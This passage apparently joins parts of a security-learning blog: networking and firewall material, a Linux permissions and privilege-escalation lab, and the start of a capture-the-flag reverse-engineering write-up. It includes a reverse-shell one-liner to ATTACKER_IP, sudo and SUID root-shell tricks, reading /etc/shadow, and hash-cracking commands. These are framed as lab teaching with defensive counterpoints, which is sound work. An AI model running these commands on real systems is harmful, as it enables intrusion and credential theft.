(Deliberate exceptions: port forwarding manually maps a public port to an internal host — e.g. to run a game server. Each forward is also a hole in the defense.)

The defender’s takeaway

The combination — stateful firewall + NAT, both default-deny on inbound — means unsolicited inbound connections are blocked, and only traffic belonging to connections initiated from inside is allowed. That’s the default posture of nearly every home and corporate network.

# See the macOS packet filter firewall (pf)
sudo pfctl -s rules

# Linux: list firewall rules
sudo iptables -L -n -v          # legacy
sudo nft list ruleset           # modern nftables
sudo ufw status verbose         # Ubuntu's simple frontend

Why reverse shells dial outward to beat all this

This is the punchline that ties firewalls, NAT, and stateful tracking together. The attacker’s problem: they’ve found a vulnerability and can run a command on a victim behind a firewall + NAT, and they want a shell. But:

BIND SHELL (the naive approach):
  victim opens a listening port, attacker connects IN
  Attacker ---- connect inbound ---X  [FIREWALL/NAT blocks it]  Victim:4444
  -> FAILS. Inbound is denied. No NAT mapping. Dead.

REVERSE SHELL (flip the direction):
  attacker listens; VICTIM connects OUT to the attacker
  Attacker:443 <---- victim dials outbound ----  Victim
  -> WORKS. Outbound is allowed (default), NAT creates a mapping,
     stateful firewall remembers it, replies flow freely.

Why it defeats the defenses:

• Firewalls/NAT block inbound but freely allow outbound (you can’t browse otherwise).
• The victim initiating the connection creates the NAT mapping + stateful table entry — so the return traffic (the attacker’s commands) is treated as legitimate “reply” traffic.
• Attackers pick ports like 443 so the outbound connection blends in with normal HTTPS and survives even stricter egress filtering.

# Classic demo (LAB ONLY, machines you own):
# Attacker listens:
nc -lvnp 443
# Victim connects back and hands over a shell:
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1

The defender’s counter is egress filtering — restrict outbound traffic too (only allow outbound to known destinations/ports), plus monitor for unexpected outbound connections. Most networks neglect this, which is exactly why reverse shells are so reliable.

The Attack Flow

Recon → Scan → Find the weak door → Get in. How every chapter above connects to real hacking.

Every topic so far is a tool. This is the methodology that chains them into a real intrusion. The standard model: Recon → Scan → Find the weak door → Get in → (Escalate → Persist → Pivot).

The full kill chain

1. RECON      ->  2. SCAN       ->  3. FIND THE   ->  4. GET IN
   (passive)         (active)          WEAK DOOR        (exploit)
   Who/what is       What ports/       Which service    Reverse
   the target?       versions?         is vulnerable?   shell / creds
                                                            |
   +--------------------------------------------------------+
   v
5. ESCALATE   ->  6. PERSIST    ->  7. PIVOT /
   low -> root       keep access       EXFILTRATE
   (SUID/sudo)       (backdoor)        spread/loot

Stage by stage — and which chapter does it

Stage 1 — Recon. Gather information before touching the target loudly. Passive: public info — DNS records (dig, whois), search engines, leaked data, the company website; the target never knows. Active: light probing — ping, identifying live hosts (nmap -sn). Goal: know the IP ranges, domains, and surface that exists.

Stage 2 — Scan. Map the live target in detail: host discovery (nmap -sn 192.168.1.0/24), port scanning for open/listening doors (nmap -sS -p-), and service + version detection (nmap -sV). Output: a list like 22/ssh OpenSSH 7.6, 80/http Apache 2.4.29, 445/smb.

Stage 3 — Find the weak door. Turn the scan into a target. For each open service: look up the exact version against CVE databases / Exploit-DB; check for outdated software with known exploits, default/weak credentials, misconfigurations, exposed admin panels, and web-app flaws (OWASP Top 10: SQLi, etc.). Wireshark and Burp help inspect how a service actually behaves. Goal: pick the single highest-probability entry point.

Stage 4 — Get in. Exploit the chosen weakness to gain code execution — run an exploit, abuse weak creds, or trick the app. The common payload is a reverse shell dialing back out through the firewall/NAT (the previous chapter). Result: a foothold, usually as a low-privileged user.

Stage 5 — Privilege escalation. Go from low-priv user to root/admin. Enumerate the box: misconfigured SUID binaries (find / -perm -4000), abusable sudo rules, weak file permissions, kernel exploits, readable credentials. A SUID-root binary or a permissive sudo rule is the local “door upward.” Result: full control — now /etc/shadow and everything else is readable.

Stage 6 — Persistence. Keep access even after reboot/patch: backdoors, new accounts, cron jobs, SSH keys, a stashed SUID shell. Goal: don’t have to re-exploit to get back in.

Stage 7 — Pivot / exfiltrate. Use this machine as a launchpad. Pivot: the compromised host can now reach internal machines the firewall/NAT hid from outside — repeat the whole flow from inside. Exfiltrate: steal data (often out over 443/DNS to blend in). Loot: harvest credentials to move laterally.

How every chapter maps onto the flow

The defender’s mirror image (Blue Team)

Every offensive stage has a defensive counter — this is how the two halves of security connect:

Ethics & legal: this methodology is taught for authorized penetration testing, defense, and labs only. Running any stage against systems you don’t own or lack written permission to test is a crime in most countries. Practice on TryHackMe, Hack The Box, your own VMs, or sanctioned engagements.

It All Connects

I started this post with one idea: networking is split into floors, each does one job, and every tool and every attack lives on one floor. Having filled in every chapter, here’s the whole thing as a single thought.

A packet’s journey is the syllabus. A name becomes an IP (DNS); the IP says which machine and the subnet mask says whether it’s local or not (IP Addresses); inside the LAN, ARP turns that IP into a MAC for the actual hand-off (MAC/ARP); the port says which program and TCP or UDP carries it there, reliable or fast, after a handshake (Ports, TCP/UDP); on top rides the content — HTTP in the clear or wrapped in a TLS tunnel. NAT and a stateful firewall sit at the edge rewriting addresses and blocking anything inbound that nobody asked for (NAT, Firewalls). Every layer wraps the one above it — that’s encapsulation, the single mechanic the whole stack runs on.

The security half is the same map read with intent. Whatever can be seen can be captured (tcpdump/Wireshark); whatever listens is a door (Open Ports), and nmap is how you find and fingerprint those doors. The recurring weakness is trust without verification — ARP believes any reply, classic DNS believes any answer, plain HTTP hides nothing — and the recurring fix is cryptography that proves identity and scrambles content (TLS), plus default-deny at the edge. That’s why the attack flow runs Recon → Scan → Find the weak door → Get in → Escalate → Persist → Pivot, why a reverse shell dials outward to turn the firewall’s own “outbound is fine” rule against it, and why every offensive move has a Blue-Team mirror. Learn the floors once and the acronyms stop being a pile — they become positions on a single map.

The whole post, in one diagram

Four floors, each doing one job, each with its own address, its own protocols, and the tools and attacks that live there:

┌─────────────┬───────────────────┬───────────┬──────────────────┬─────────────────────┐
│ FLOOR       │ ITS ONE JOB       │ ADDRESS   │ LIVES HERE       │ TOOLS / ATTACKS     │
├─────────────┼───────────────────┼───────────┼──────────────────┼─────────────────────┤
│ Application │ what data means   │ names/URL │ HTTP DNS TLS     │ Burp, SQLi, XSS     │
│ Transport   │ which program     │ port      │ TCP UDP          │ nmap, SYN flood     │
│ Network     │ which machine     │ IP        │ IP NAT routing   │ ping, IP spoofing   │
│ Link        │ one physical hop  │ MAC       │ Ethernet ARP     │ tcpdump, ARP MITM   │
└─────────────┴───────────────────┴───────────┴──────────────────┴─────────────────────┘

And the same four floors as a packet actually travels them — down my stack, across the wire, up the server’s — wrapping an envelope at every floor (encapsulation) and unwrapping it on the way up:

        I type  https://example.com
                      │
   ┌──────────────────▼───────────────────────────────────────────────┐
   │  MY MACHINE — request rides the elevator DOWN                      │
   │                                                                    │
   │   Application   HTTP "GET /"            (DNS first: name -> IP)     │
   │        │  wrap                                                     │
   │   Transport     + TCP header  ───────►  src/dst PORT, 3-way SYN    │
   │        │  wrap                                                     │
   │   Network       + IP header   ───────►  src/dst IP  (NAT rewrites) │
   │        │  wrap                                                     │
   │   Link          + Ethernet    ───────►  src/dst MAC (ARP: IP->MAC) │
   └──────────────────┬─────────────────────────────────────────────────┘
                      │
        bits on the wire ──►  my router (NAT + stateful firewall)
                      │              │  blocks unsolicited inbound
                      ▼              ▼
              ISP ──► internet ──► routers hop by hop ──► server's edge
                      │
   ┌──────────────────▼───────────────────────────────────────────────┐
   │  SERVER — each floor opens ONLY its own envelope, hands UP         │
   │   Link -> Network -> Transport -> Application                      │
   │   ...reads "GET /", builds the reply, and the whole trip reverses. │
   └────────────────────────────────────────────────────────────────────┘

   Defense lives at the edge; the attack flow walks the doors:
   Recon ─► Scan ─► Find the weak door ─► Get in ─► Escalate ─► Persist ─► Pivot

That single picture is the whole post: the left-to-right map says where every acronym lives, and the top-to-bottom journey says how a message actually moves and where each tool and attack plugs in.

Living post — all fourteen chapters now filled in: Layers, IP Addresses, NAT, MAC/ARP, DNS, HTTP, Ports, TCP/UDP, Open Ports, tcpdump/Wireshark, TLS/HTTPS, nmap, Firewalls & NAT Defense, and The Attack Flow. From here it’s depth, not coverage.

Companion to my Linux for cybersecurity guide. The rule there: never read a section without running it. Same here.

1. Users — who the system thinks you are

Start with the two commands you’ll run on every box you ever touch:

root@7d69d3ea967a:/work# whoami
root
root@7d69d3ea967a:/work# id
uid=0(root) gid=0(root) groups=0(root)

whoami is just the name; id is the truth. uid=0 is root — that’s not a name the kernel cares about, it’s the number zero. Any account with uid=0 is root, even if it’s called something else. That’s the first thing to check on a target: are there other uid-0 accounts hiding in the user list?

Survey what’s already there

Before creating anything, look at the two files that define every group and every account. Field 1 (cut on the : delimiter) is the name in both:

# get the list of groups on the system
cut -d: -f1 /etc/group

# get the list of users on the system
cut -d: -f1 /etc/passwd

cut -d: -f1 means split each line on : and keep field 1. Both files are world-readable — listing users and groups needs no privilege at all, which is exactly why it’s step one of recon.

A /etc/passwd line is seven colon-separated fields. Memorise these — you read this file constantly:

root : x : 0 : 0 : root : /root : /bin/bash
 │     │   │   │    │       │        └─ login shell  (/usr/sbin/nologin = can't log in)
 │     │   │   │    │       └────────── home directory
 │     │   │   │    └────────────────── GECOS (full name / comment)
 │     │   │   └─────────────────────── GID  (primary group id)
 │     │   └─────────────────────────── UID  (0 = root)
 │     └─────────────────────────────── password (x = "see /etc/shadow")
 └───────────────────────────────────── username

That x in field 2 is the bridge to privilege — the real password hash isn’t here, it’s in the root-only /etc/shadow. (More on that in §3.)

Add a group and some users

Because I’m root in the container, I can mint throwaway accounts. One shared group, two users:

groupadd devs                    # a shared group

useradd -m -s /bin/bash alice    # -m = make home dir, -s = give a real shell
useradd -m -s /bin/bash bob

-m and -s matter: without -m there’s no home directory, and without -s /bin/bash the account gets no usable shell — su then drops you into a bare sh or fails outright.

Add them to the group and set passwords

root@7d69d3ea967a:/work# usermod -aG devs alice
root@7d69d3ea967a:/work# usermod -aG devs bob
root@7d69d3ea967a:/work# passwd alice
New password:
Retype new password:
passwd: password updated successfully
root@7d69d3ea967a:/work# passwd bob
New password:
Retype new password:
passwd: password updated successfully

-aG is a classic trap: the -a means append. Leave it out and usermod -G devs alice replaces all of alice’s other groups instead of adding one. Always -aG.

Confirm who’s in the group

getent group devs | cut -d: -f4

getent group devs prints the group’s line (devs:x:<gid>:alice,bob) and field 4 is the comma-separated member list — so this answers “who’s in devs?” in one shot.

Becoming someone else: su and the privilege asymmetry

su - alice switches user; the - gives a clean login shell (loads her environment, drops you into her home):

root@7d69d3ea967a:/work# su - alice
alice@7d69d3ea967a:~$ whoami
alice
alice@7d69d3ea967a:~$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice),1002(devs)
alice@7d69d3ea967a:~$ exit
logout

id is where it clicks: alice has two groups — alice (her primary group, the one new files get) and devs (the secondary group I added her to). That second membership is what will let her read a root:devs file in §2. Group membership is the quiet half of permissions.

Here’s the part that teaches you how privilege flows: root can su to anyone with no password. Going down the privilege ladder is free. But have alice try to step up into root, and the system demands a password — because alice isn’t privileged. Downgrading is free; upgrading costs proof. That asymmetry is the security model, and §3 is all about the ways attackers cheat it.

Set up a file and a folder to test permissions from each side

Last thing — drop a file in /tmp (not the shared /work mount) and lock it down, so §2 has something to poke at as alice:

cd /tmp
echo "top secret" > secret.txt

chown root:devs secret.txt     # owner = root, group = devs
chmod 640 secret.txt           # rw- r-- ---  → owner rw, group r, others nothing
ls -l secret.txt               # -rw-r----- 1 root devs ... secret.txt

Now do the same for a directory, because rwx means something different on a folder — and that surprise is worth setting up now:

mkdir vault
chown root:devs vault
chmod 710 vault                # rwx --x ---  → owner full, group enter-only, others nothing
ls -ld vault                   # drwx--x--- 2 root devs ... vault

The group triad is --x: execute, but no read. On a file x means “run it”; on a directory it means “enter / traverse it” (cd), while r means “list its contents” (ls). They’re independent — and giving alice one without the other has a counter-intuitive result:

alice@4eb5a9565ad2:/tmp$ cd vault/
alice@4eb5a9565ad2:/tmp/vault$ ls
ls: cannot open directory '.': Permission denied
alice@4eb5a9565ad2:/tmp/vault$ cd ..

She can walk into the directory (group x) but can’t list what’s inside it (no group r). If she already knew a filename in there she could even read that file — the x lets her traverse through the folder — but ls has nothing to stand on. Directory r and x are two separate keys.

Now the stage is set: root owns both, alice (in devs) is the group, and any user not in devs is others. On to the bits that actually gate them.

2. Permissions — rwx, octal, and chmod

The file is -rw-r----- root devs (mode 640). alice is in devs, so she’s the group — and group has exactly r--: read, no write. Let’s prove it from her shell:

alice@4eb5a9565ad2:/tmp$ ls
secret.txt
alice@4eb5a9565ad2:/tmp$ ls -l
total 4
-rw-r----- 1 root devs 11 Jun 11 11:52 secret.txt
alice@4eb5a9565ad2:/tmp$ echo "alice here" >> secret.txt
-bash: secret.txt: Permission denied

She can see and read it (group r), but the append is denied — group has no w. That single - in the group triad is the whole reason. The kernel matched her to the group class and applied only those three bits; it never falls through to “others”, and it doesn’t add owner’s w just because she can read.

Reading the 10-character mode line

That -rw-r----- at the front of every ls -l line is the whole permission model in ten characters. Split it:

 -      rw-      r--      ---
 │      └┬─┘     └┬─┘     └┬─┘
 │       u        g        o
 │      owner    group    other
 └─ file type

• Char 1 — type: - regular file, d directory, l symlink, c/b device.
• Chars 2–4 — owner (u): what the owning user (here root) can do.
• Chars 5–7 — group (g): what members of the owning group (devs, so alice) can do.
• Chars 8–10 — other (o): everyone else — neither owner nor in the group.

A letter means the permission is on; a - means it’s off. So -rw-r----- reads: file · owner read+write · group read · others nothing. That’s exactly the wall alice hit above.

The one rule that ties it together: the kernel checks just one class — owner first, else group, else other — and stops. Being in the group never adds the owner’s powers; “others” only applies to people who are neither. One bucket, three bits, done.

r, w, x — and why directories are different

The three bits mean one thing on a file and a completely different thing on a directory. This table is the one to burn in:

You already saw this split on vault in §1: alice had group --x, so she could cd in but ls was denied. Two more consequences that trip everyone up:

• Deleting a file is a directory write, not a file write. A read-only file (r--r--r--) sitting in a directory you can write is still deletable — rm edits the directory’s list of entries, not the file. Watch it happen as root:

root@7d69d3ea967a:/tmp# mkdir demo && touch demo/locked && chmod 444 demo/locked
root@7d69d3ea967a:/tmp# rm demo/locked
rm: remove write-protected regular file 'demo/locked'? y
root@7d69d3ea967a:/tmp# ls demo
root@7d69d3ea967a:/tmp#

It asks (because the file is write-protected) but it lets you — the directory’s w is what counts.

• Write on a file ≠ permission to delete it. The mirror image: you can have full rw- on a file but be unable to remove it if its directory is read-only to you.

Octal — the number behind the letters

Typing rw-r--r-- gets old, so each bit gets a value and you add them up per class:

Add the bits in each triad to get one digit (0–7); three triads → three digits:

 rwx = 4+2+1 = 7      rw- = 4+2 = 6      r-x = 4+1 = 5
 r-- = 4     = 4      -wx = 2+1 = 3      --- = 0   = 0

So our file’s mode reads straight off:

 rw-   r--   ---
  6     4     0      →  640

The handful worth memorising — you’ll type these for the rest of your life:

There’s an optional fourth digit in front (e.g. 4755) for the SUID/SGID/sticky special bits — that’s §3’s territory. Ignore it until the basic three are reflex.

chmod — two ways to set the bits

Numeric sets all nine bits at once — absolute, overwrites whatever was there:

root@7d69d3ea967a:/tmp# chmod 640 secret.txt      # rw-r-----
root@7d69d3ea967a:/tmp# chmod 600 secret.txt      # rw-------  (lock the group out too)
root@7d69d3ea967a:/tmp# chmod 755 vault           # rwxr-xr-x

Symbolic tweaks specific bits and leaves the rest alone — format is who operator perms:

• who: u owner · g group · o other · a all
• operator: + add · - remove · = set exactly (clears the rest of that class)
• perms: r w x

root@7d69d3ea967a:/tmp# chmod g+w secret.txt      # give the group write    → rw-rw----
root@7d69d3ea967a:/tmp# chmod o-r secret.txt      # remove others' read     (no-op here)
root@7d69d3ea967a:/tmp# chmod u=rw,go=r secret.txt# owner rw, group+other r → 644
root@7d69d3ea967a:/tmp# chmod +x build.sh         # make a script runnable for all

Rule of thumb: numeric when you know the final state (chmod 640 file), symbolic when you want to flip one bit without disturbing the others (chmod +x script). Add -R to recurse into a directory tree — but never blindly, or you’ll mark every data file executable.

Now hand the group w to alice and watch the earlier denial flip to success:

root@7d69d3ea967a:/tmp# chmod g+w secret.txt      # rw-rw----

alice@4eb5a9565ad2:/tmp$ echo "alice here" >> secret.txt
alice@4eb5a9565ad2:/tmp$ cat secret.txt
top secret
alice here

Same user, same file — one bit changed, and the permission boundary moved. That’s the entire lesson in one append.

The “others” perspective — carol

alice tested the group class. To feel the other class, we need a user who is not in devs. Mint one as root:

root@7d69d3ea967a:/tmp# useradd -m -s /bin/bash carol
root@7d69d3ea967a:/tmp# passwd carol
New password:
Retype new password:
passwd: password updated successfully
root@7d69d3ea967a:/tmp# chmod 640 secret.txt      # put it back to rw-r-----

carol isn’t the owner and isn’t in devs, so the kernel drops her to the other triad — ---, nothing:

root@7d69d3ea967a:/tmp# su - carol
carol@4eb5a9565ad2:~$ id
uid=1003(carol) gid=1003(carol) groups=1003(carol)
carol@4eb5a9565ad2:~$ cat /tmp/secret.txt
cat: /tmp/secret.txt: Permission denied

Same 640 file that alice could read, carol can’t even open — because the only difference between them is group membership, and that’s the difference between landing in the r-- bucket and the --- bucket. Mode and group membership decide everything together; neither alone tells you who gets in.

Bonus: the owner always controls chmod

One last surprise that matters for §3. The rwx bits gate the contents — they do not decide who may change the permissions. That power belongs to the owner (and root), always:

alice@4eb5a9565ad2:~$ touch mine && chmod 000 mine   # strip every bit
alice@4eb5a9565ad2:~$ cat mine
cat: mine: Permission denied
alice@4eb5a9565ad2:~$ chmod 600 mine                  # ...still allowed!
alice@4eb5a9565ad2:~$ cat mine
alice@4eb5a9565ad2:~$

alice locked herself out of reading mine, yet chmod still worked — because she owns it. Ownership is a separate axis from rwx, and forgetting that is how people misjudge what an attacker can undo.

Where 644 comes from: umask

Why did touch mine not start at 666? New files are born from a base (666 for files, 777 for directories) with the umask bits subtracted:

alice@4eb5a9565ad2:~$ umask
0022

files:  666 - 022 = 644
dirs:   777 - 022 = 755

So the default 022 mask is exactly why fresh files land at 644 and fresh directories at 755. Set umask 077 and everything you create is private by default (600 / 700) — a one-line hardening trick worth knowing.

That’s the permission model end to end: a class the kernel picks (owner → group → other), three bits whose meaning flips between files and directories, the octal shorthand, and chmod/umask to set it all. Next, the part attackers actually chase — crossing from a normal user up to root.

3. Privilege — /etc/shadow, sudo & SUID

A normal user can’t do much damage — that’s the point. Privilege escalation is the craft of crossing from an ordinary account up to uid=0, and there are three doors: the password hashes in /etc/shadow, sudo (the sanctioned door), and SUID binaries (programs that run as their owner). We start with where the secrets live, then the door that’s supposed to be there — and how one careless entry turns it into a full compromise.

/etc/shadow — where passwords actually live

Recall from §1 that /etc/passwd carries an x in the password field. That x means “the real secret is in /etc/shadow.” The split exists for exactly one reason: /etc/passwd is world-readable (everyone needs it to map UIDs ↔ names), but password hashes must not be. So the hashes were moved to /etc/shadow, readable only by root:

root@4eb5a9565ad2:~# ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root   ... /etc/passwd      ← anyone can read
-rw-r----- 1 root shadow ... /etc/shadow      ← root (and group shadow) only

That 640 root:shadow is itself a permissions lesson — the very mode you decoded in §2 is what guards the most sensitive data on the box. (Hold that thought: in the sudo section below, sudo less /etc/shadow turns out to be a real escalation — alice borrows root’s read of exactly this file.)

Anatomy of a shadow line. Nine colon-separated fields; the first two are the ones you read constantly:

alice : $6$xyz...$abc... : 19876 : 0 : 99999 : 7 : : :
  │            │             │     │    │      │
  │            │             │     │    │      └ warn days before expiry
  │            │             │     │    └─────── max days password is valid
  │            │             │     └──────────── min days between changes
  │            │             └────────────────── last change (days since 1970)
  │            └──────────────────────────────── the password HASH
  └───────────────────────────────────────────── username

Field 2 — the hash — is the prize. Read its $id$salt$hash structure, where $id$ names the algorithm:

A few special values in field 2 you must recognise on sight:

• * or ! → no valid password; password login is locked (typical for service accounts).
• empty → no password at all — anyone can become this user. Dangerous.
• ! prefixed on a hash (!$6$...) → account locked, but the hash is still sitting there.

Why it matters. The hash isn’t the password — it’s a one-way function of it. You can’t reverse it, but you can guess: hash a candidate with the same salt and compare. That’s exactly what John the Ripper and hashcat do, and the CTF workflow is two commands:

# merge passwd + shadow into John's format, then crack
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt                  # or: hashcat -m 1800 hashes.txt wordlist

The whole point of /etc/shadow being root-only is that once an attacker can read it, the game is nearly over — they crack offline, at leisure, with no lockouts. So “can I read /etc/shadow?” is a top-priority check the moment you have any foothold — and as the next section shows, you don’t always need to be root to do it.

sudo — the sanctioned door upward

sudo (“superuser do”) lets a permitted user run one command as root, after proving their own password. It’s the controlled alternative to sharing the root password or living in su.

By default alice has no sudo rights at all — and the first thing to run on any account, sudo -l, says exactly that:

alice@4eb5a9565ad2:~$ sudo -l
[sudo] password for alice:
Sorry, user alice may not run sudo on 4eb5a9565ad2.

Note the prompt is for her password, not root’s — three wrong tries and sudo locks her out (1 incorrect password attempt). She typed it correctly and was still refused: she simply isn’t in the policy yet.

The policy lives in /etc/sudoers

Who may run what is defined in /etc/sudoers. Edit it only with visudo — it syntax-checks before saving, so a typo can’t brick everyone’s path to root. The modern style is a drop-in file under /etc/sudoers.d/. As root, grant alice exactly one command:

root@4eb5a9565ad2:~# echo 'alice ALL=(root) NOPASSWD: /usr/bin/find' > /etc/sudoers.d/alice
root@4eb5a9565ad2:~# chmod 440 /etc/sudoers.d/alice
root@4eb5a9565ad2:~# visudo -c
/etc/sudoers: parsed OK
/etc/sudoers.d/alice: parsed OK

chmod 440 (root-only read) isn’t optional — sudo ignores any sudoers file that’s group- or world-writable, as a self-protection check. visudo -c validates every file without opening an editor. Read the policy line field by field:

 alice   ALL = (root)   NOPASSWD: /usr/bin/find
   │      │      │          │           └─ which commands  (here: find only)
   │      │      │          └───────────── no password required to run them
   │      │      └──────────────────────── as which user   (may run AS root)
   │      └─────────────────────────────── on which hosts  (ALL)
   └────────────────────────────────────── the user        (%group for a group)

(%sudo ALL=(ALL:ALL) ALL in the main file is why “add the user to the sudo group” works on Ubuntu — membership in sudo grants that blanket policy.)

Two things make sudo safer than su: alice proves her own password (root’s is never shared), and every call is logged to /var/log/auth.log — accountability that su to root never gives you.

sudo -l — the single most important recon command

Now from alice’s shell, sudo -l tells her precisely what she may run — without executing anything:

alice@4eb5a9565ad2:~$ sudo -l
Matching Defaults entries for alice on 4eb5a9565ad2:
    env_reset, mail_badpass, secure_path=..., use_pty

User alice may run the following commands on 4eb5a9565ad2:
    (root) NOPASSWD: /usr/bin/find

On a target, this is step one of privilege-escalation enumeration. NOPASSWD means sudo won’t even ask — and this is the line you pray to see, because of what find can do.

Why one allowed binary = full root

find — like less, vim, awk, python — can spawn a shell from inside itself. So “alice may run find as root with no password” really means alice is root; she just has to ask find to launch a shell:

alice@4eb5a9565ad2:~$ sudo find . -exec /bin/bash \; -quit
root@4eb5a9565ad2:/home/alice#

-exec /bin/bash \; tells find to run a shell on the first entry it hits; -quit stops after one. Because find is running as root, the shell it spawns is a root shell — watch the prompt flip from alice@…$ to root@…# (that # is uid=0). One harmless-looking entry in sudoers and the box is fully compromised.

That class of trick — a legitimately-allowed program coaxed into a root shell — is catalogued at GTFOBins. It’s the first place to look up any binary you find in sudo -l.

It doesn’t even need a shell: sudo less /etc/shadow

Spawning a shell is the loud option. Often you don’t need one — the allowed binary can read the prize directly. Grant alice less as well (note: visudo would reject a stray space like less , — keep the list clean):

root@4eb5a9565ad2:~# echo 'alice ALL=(root) NOPASSWD: /usr/bin/less, /usr/bin/find' > /etc/sudoers.d/alice

alice@4eb5a9565ad2:~$ sudo -l
...
    (root) NOPASSWD: /usr/bin/less, /usr/bin/find
alice@4eb5a9565ad2:~$ sudo less /etc/shadow

less runs as root, so it cheerfully opens the root-only /etc/shadow — the very file of password hashes you dissected at the top of this section. alice never became root, yet she’s reading root’s most sensitive file. The lesson: sudo rights on the wrong binary are a full compromise, even when the binary looks harmless.

SUID / SGID / sticky — the special bits

This is the fourth octal digit you’ve been ignoring since §2. Beyond the nine rwx bits, a file carries three special bits, written as a leading digit — chmod 4755 file:

SUID — the big one

Normally a program runs with your privileges. A SUID binary runs with the privileges of whoever owns the file. The textbook example is passwd:

alice@4eb5a9565ad2:~$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ... /usr/bin/passwd
        ↑
       SUID bit (the 's')

Why does it need this? passwd must write to /etc/shadow, which is root-only (you just saw that mode). alice can’t write that file — but passwd is owned by root and SUID, so when alice runs it the process becomes root for the duration, writes her new hash, and exits. SUID is how unprivileged users perform tightly-scoped privileged actions safely.

See all three bits yourself (in /tmp, as root)

root@4eb5a9565ad2:/tmp# touch demo && chmod 4755 demo && ls -l demo
-rwsr-xr-x 1 root root 0 Jun 12 06:15 demo        # SUID → 's' in owner slot

root@4eb5a9565ad2:/tmp# mkdir share && chmod 1777 share && ls -ld share
drwxrwxrwt 2 root root 4096 Jun 12 06:16 share    # sticky → 't' in other slot

The sticky bit on share is exactly why /tmp itself is world-writable yet alice still can’t delete carol’s files there — the protection §2 hinted at when it said directory w normally lets you delete anyone’s entries. t revokes that for everyone but the owner.

One gotcha to recognise on sight — capital S:

root@4eb5a9565ad2:/tmp# touch nox && chmod 4644 nox && ls -l nox
-rwSr--r-- 1 root root 0 Jun 12 06:17 nox

That S (capital) means the SUID bit is set but the owner has no x. Since SUID only matters when the file is executed, a non-executable SUID file does nothing — it’s almost always a misconfiguration. Lowercase s = SUID and executable (live); uppercase S = SUID without execute (inert). Same rule for t/T on the sticky bit.

Why SUID is an attacker’s favourite

A SUID-root binary runs as root, so any bug in it — or any way to make it run code of your choosing — hands you root. The canonical privesc step is therefore “list every SUID binary and check it against GTFOBins”:

root@4eb5a9565ad2:/tmp# find / -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
... and our two plants:
/tmp/demo
/tmp/nox

-perm -4000 means “has the SUID bit set.” If find, nmap, vim, or python shows up SUID-root, each has a known one-liner to a root shell. Here’s the classic blunder in full — copy a shell, make it SUID-root, and any user owns the box:

root@4eb5a9565ad2:/tmp# cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
root@4eb5a9565ad2:/tmp# ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1446024 Jun 12 06:19 /tmp/rootbash

Now switch to alice and run it with -p (bash drops SUID privileges by default; -p keeps them):

alice@4eb5a9565ad2:/tmp$ /tmp/rootbash -p
rootbash-5.2# id
uid=1001(alice) gid=1002(alice) euid=0(root) groups=1002(alice),1001(devs)

Read that id carefully: her real uid is still 1001(alice), but her euid=0(root) — the effective UID the kernel checks for permissions is root. That split (real vs. effective UID) is SUID. And with it she walks straight to the prize from the shadow section:

rootbash-5.2# cat /etc/shadow
root:$y$j9T$Z4aLw3Ees...$pKSmYW55rby0yS7t5zSB...:20616:0:99999:7:::
daemon:*:20582:0:99999:7:::
...
alice:$y$j9T$s4Hcg6wK...$DXuHHEEPLstat0ANyiCcrX...:20615:0:99999:7:::
bob:!:20615:0:99999:7:::
carol:!:20615:0:99999:7:::

Everything from that subsection reads off in one screen: root and alice carry live $y$ (yescrypt) hashes; the service accounts are * (no password); bob and carol are ! (locked). alice is now holding every hash on the box to crack offline — from a binary that was just a copy of bash with one bit flipped.

The mirror lesson to §2’s “ownership is a separate axis”: here it’s identity is a separate axis from the file. One SUID-root binary you don’t control is the whole game — which is why find / -perm -4000 is muscle memory for anyone doing privesc.

And that’s the model end to end — who you are (uid/gid), what the rwx bits allow, and the three ways privilege is crossed (sudo, /etc/shadow, SUID). Never read a section without running it; you just watched one bit turn alice into root.

➜  rev_spookypass git:(main) ✗ ./pass
zsh: exec format error: ./pass

exec format error. The shell can’t even start it. Before reaching for a disassembler I did the one check that explains everything — ask the file what it actually is:

➜  rev_spookypass git:(main) ✗ file ./pass
./pass: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=3008217772cc2426c643d69b80a96c715490dd91,
for GNU/Linux 4.4.0, not stripped

There’s the whole problem in one line.

1. Why the Mac flat-out refuses to run it

The two words that matter are ELF and GNU/Linux.

• My binary is an ELF (Executable and Linkable Format) — the executable format Linux uses.
• macOS only knows how to load Mach-O, its own format.

So when I type ./pass, macOS reads the file header, sees a magic number it doesn’t recognise as Mach-O, and bails with exec format error. This isn’t a permissions thing or a missing-library thing — the kernel literally has no loader for this file type. It can’t execute it at all.

And no, Rosetta doesn’t help here. Rosetta translates x86_64 Mach-O → arm64 on Apple Silicon. It does not turn Linux ELF into anything macOS can run. Different problem entirely. (Same trap I hit from the other direction when I tried to reuse an arm64 binary on an Intel Mac while building Ghidra’s missing decompiler — wrong-format binaries don’t fail politely, they just refuse.)

What I need is an actual Linux userland. I don’t want to dual-boot or spin up a full VM for one CrackMe, so: Docker. One ubuntu container, the challenge folder mounted in, run the binary there.

2. Mount the challenge folder into an Ubuntu container

First, be in the challenge directory on macOS:

cd /Users/apple/Documents/dilip/github/learn-re/htb/rev_spookypass
pwd
# /Users/apple/Documents/dilip/github/learn-re/htb/rev_spookypass

Then start a throwaway Ubuntu container with that directory mounted:

docker run --rm -it \
  -v "$PWD:/work" \
  ubuntu:24.04 bash

Worth unpacking each flag, because this one line does all the work:

• --rm — delete the container when I exit. It’s disposable; I don’t want a graveyard of stopped containers.
• -it — interactive + allocate a tty, so I get a real shell prompt I can type into.
• -v "$PWD:/work" — the important bit. Mount my current macOS folder at /work inside the container. The file isn’t copied — it’s the same bytes on disk, visible from both sides. Edit on the Mac, it changes in the container, and vice-versa.
• ubuntu:24.04 — the image. Docker pulls it the first time, caches it after.

Drop into the container and the file is right there:

root@0ad7bc1c335a:/work# cd /work
root@0ad7bc1c335a:/work# ls
pass

Now the magic — the exact same binary that macOS refused to touch:

root@0ad7bc1c335a:/work# ./pass
Welcome to the SPOOKIEST party of the year.
